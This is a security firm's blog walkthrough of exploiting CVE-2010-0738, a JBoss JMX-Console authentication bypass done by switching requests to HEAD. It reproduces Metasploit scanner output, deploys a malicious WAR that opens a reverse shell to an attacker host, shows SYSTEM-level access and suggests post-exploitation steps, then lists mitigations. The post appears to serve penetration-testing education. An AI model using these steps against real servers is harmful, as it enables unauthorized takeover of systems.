Skip to main content

JBoss JMX-Console Authentication Bypass

January 18, 2012

Background

===========================

During engagements performing vulnerability assessments and penetration tests, it's common for FishNet Security consultants to encounter JBoss and Tomcat management consoles completely unprotected or protected only by the use of default credentials. This is one of the first weaknesses we look to identify because it provides a reliable, repeatable compromise of the device. Additionally, Windows-based devices commonly run the process as the all-powerful System User. Exploitation of such a device leads immediately to elevated privileges on the device and a foothold in the network.

Generally speaking, it's much more common to find these vulnerabilities during an internal assessment. Externally, devices and applications (including JBoss and Tomcat management consoles) are typically hardened to prevent penetration from the outside. However, simply using non-default, strong passwords for externally facing management consoles does not indicate security. I'm speaking specifically of the JBoss JMX-Console and the associated authentication bypass vulnerability CVE-2010-0738.

The vulnerability applies to older JBoss versions (pre 4.3). =These vulnerable versions only enforce authentication for GET and POST HTTP requests. Therefore, an attacker can simply craft the standard request message (for example, to deploy a malicious web application) and alter the request from a GET to a HEAD HTTP request and he/she can perform all the actions of an authenticated user. Even better, this can be accomplished with current Metasploit modules. Let's walk through the steps.

Attack

======================================================================

1. Locate an instance of JBoss and its associated JMX-Console. The format traditionally follows http://www.example.com/jmx-console

2. Scan the instance to identify authentication bypass weaknesses using Metasploit:

msf auxiliary(jboss_vulnscan) > show options

Module options (auxiliary/scanner/http/jboss_vulnscan):

NameCurrent SettingRequiredDescription

Proxies noUse a proxy chain

RHOSTSwww.example.comyesThe target address range or CIDR identifier

RPORT80yesThe target port

THREADS10yesThe number of concurrent threads

VERBHEADyesVerb for auth bypass testing

VHOST noHTTP server virtual host

msf auxiliary(jboss_vulnscan) > exploit

[*] Apache-Coyote/1.1

[*] www.example.com:80 Checking http...

[*] www.example.com:80 /jmx-console/HtmlAdaptor requires authentication (401): Basic realm="JBoss JMX Console"

[*] www.example.com:80 Check for verb tampering (HEAD)

[+] www.example.com:80 Got authentication bypass via HTTP verb tampering

[*] www.example.com:80 Could not guess admin credentials

[*] www.example.com:80 /status not found (404)

[*] www.example.com:80 /web-console/ServerInfo.jsp requires authentication (401): Basic realm="JBoss WEB Console"

[*] www.example.com:80 Check for verb tampering (HEAD)

[+] www.example.com:80 Got authentication bypass via HTTP verb tampering

[*] www.example.com:80 Could not guess admin credentials

[*] www.example.com:80 /web-console/Invoker requires authentication (401): Basic realm="JBoss WEB Console"

[*] www.example.com:80 Check for verb tampering (HEAD)

[+] www.example.com:80 Got authentication bypass via HTTP verb tampering

[*] www.example.com:80 Could not guess admin credentials

[+] www.example.com:80 /invoker/JMXInvokerServlet does not require authentication (200)

[*] www.example.com:80 Checking services...

[*] www.example.com:80 Naming Service tcp/1098: closed

[*] www.example.com:80 Naming Service tcp/1099: closed

[*] www.example.com:80 RMI invoker tcp/4444: closed

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Note the lines that read "Got authentication bypass via HTTP verb tampering." This indicates that even though authentication is required to access the web and JMX consoles that the underlying functionality is NOT protected. Let's exploit!

3. Utilize another Metasploit module to deploy a malicious web application - a web application that gives the attacker command-line access to the server.

msf exploit(jboss_bshdeployer) > show options

Module options (exploit/multi/http/jboss_bshdeployer):

NameCurrent SettingRequiredDescription

APPBASEfishnetnoApplication base name, (default: random)

JSPreverse-metnoJSP name to use without .jsp

PACKAGEautoyesThe package containing the BSHDeployer service

PASSWORD noThe password for the specified username

PATH/jmx-consoleyesThe URI path of the JMX console

Proxies noUse a proxy chain

RHOSTwww.exapmle.comyesThe target address

RPORT80yesThe target port

SHELLcmd.exenoThe system shell to use

USERNAME noThe username to authenticate as

VERBHEADyesThe HTTP verb to use (for CVE-2010-0738)

VHOST noHTTP server virtual host

Payload options (java/jsp_shell_reverse_tcp):

NameCurrent SettingRequiredDescription

LHOSTattacker-ipyesThe listen address

LPORT80yesThe listen port

SHELLcmd.exeyesThe system shell to use

Exploit target:

Id Name

-- ----

0 Universal

msf exploit(jboss_bshdeployer) > exploit

[*] Started reverse handler on attacker-ip:80

[*] Creating exploded WAR in deploy/fishnet.war/ dir via BSHDeployer

[*] Attempting to use 'deployer' as package

[-] Exploit exception: Unable to deploy WAR [No Response]

[*] Exploit completed, but no session was created.

msf exploit(jboss_bshdeployer) >  

Note in the above details a few items:

  • LPORT is set to port 80. Being such a commonly used port, it's likely port 80 can get beyond any egress filtering.
  • VERB has been set to HEAD. The default value of "POST" was changed because, according to our vulnerability scan, a HEAD request does not require authentication.
  • The exploit appears to fail. However, this is expected. A web server does not include a body in the HTTP response to a HEAD request message. Since no body is received in response, Metasploit assumes the deployment fails and doesn't attempt to trigger the payload.
  • SHELL was explicitly set to the appropriate value (cmd.exe for Windows). This is because Metasploit can't accurately identify the exploit target when using HTTP HEAD request messages. Explicitly setting the SHELL value ensures Metasploit knows which OS-specific shell to use.

4. Although no shell was created in Step 3 and Metasploit appears to fail on the deployment, we can verify the deployment worked by pointing our web browser at www.example.com/fishnet. We should see the WAR file was deployed as expected.

5. After confirming the deployment was successful, let's manually establish our shell. Start the listener first ...

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Payload options (java/jsp_shell_reverse_tcp):

NameCurrent SettingRequiredDescription

LHOSTattacker-ipyesThe listen address

LPORT80yesThe listen port

SHELLcmd.exeyesThe system shell to use

Exploit target:

Id Name

-- ----

0 Wildcard Target  

msf exploit(handler) > exploit [

*] Started reverse handler on attacker-ip:80

[*] Starting the payload handler ...

6. Point your browser to www.example.com/fishnet/reverse-met.jsp and receive your reverse connection ...

[*] Command shell session 1 opened (attacker-ip:80 -> www.example.com:62461) at 2011-11-28 07:48:19 -0600

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\>whoami whoami

nt authority\system

Great success! We can now perform a number of post-exploitation tasks, including upgrading to a feature-rich Meterpreter shell, pivoting to additional internal hosts, dumping password hashes, impersonating domain administrators, scouring the machine for juicy information, etc.

Mitigation

======================================================================

A few possible mitigation strategies include ...

  1. Change the default configuration for the vulnerable JBoss instances to require authentication for all HTTP requests, not just GET and POST
  2. Upgrade JBoss to a non-vulnerable version
  3. Alter configurations to deny external access to the JBoss web and JMX consoles
  4. Enforce strong egress filtering to limit the possibility of a reverse connect payload succeeding
  5. Ensure monitoring, alerting and incident response is in place to detect compromise and exploitation attempts

Related Blogs

April 03, 2018

Escape and Evasion Egressing Restricted Networks – Part 2

Attackers and security assessors alike are utilizing a technique called domain fronting, which masks malicious command and control (C2) traffic. This ...

See Details

March 15, 2018

Pass-the-Hash

Pass-the-hash (PtH) is an all too common form of credentials attack, especially since the advent of a tool called Mimikatz. Using PtH to extract from ...

See Details

January 17, 2018

The Aftermath of Meltdown and Spectre: Now What?

The recent unveiling of the widely reported Meltdown and Spectre attacks, which exploit critical vulnerabilities in modern processors, sent many withi...

See Details

Interested in Receiving Communications?


Privacy Policy

Join our Email List

We take your privacy seriously and promise never to share your email with anyone.

Stay in the Know

For all the latest cybersecurity and Optiv news, subscribe to our blog and connect with us on Social.

Subscribe

Stay Connected

Find cybersecurity Events in your area.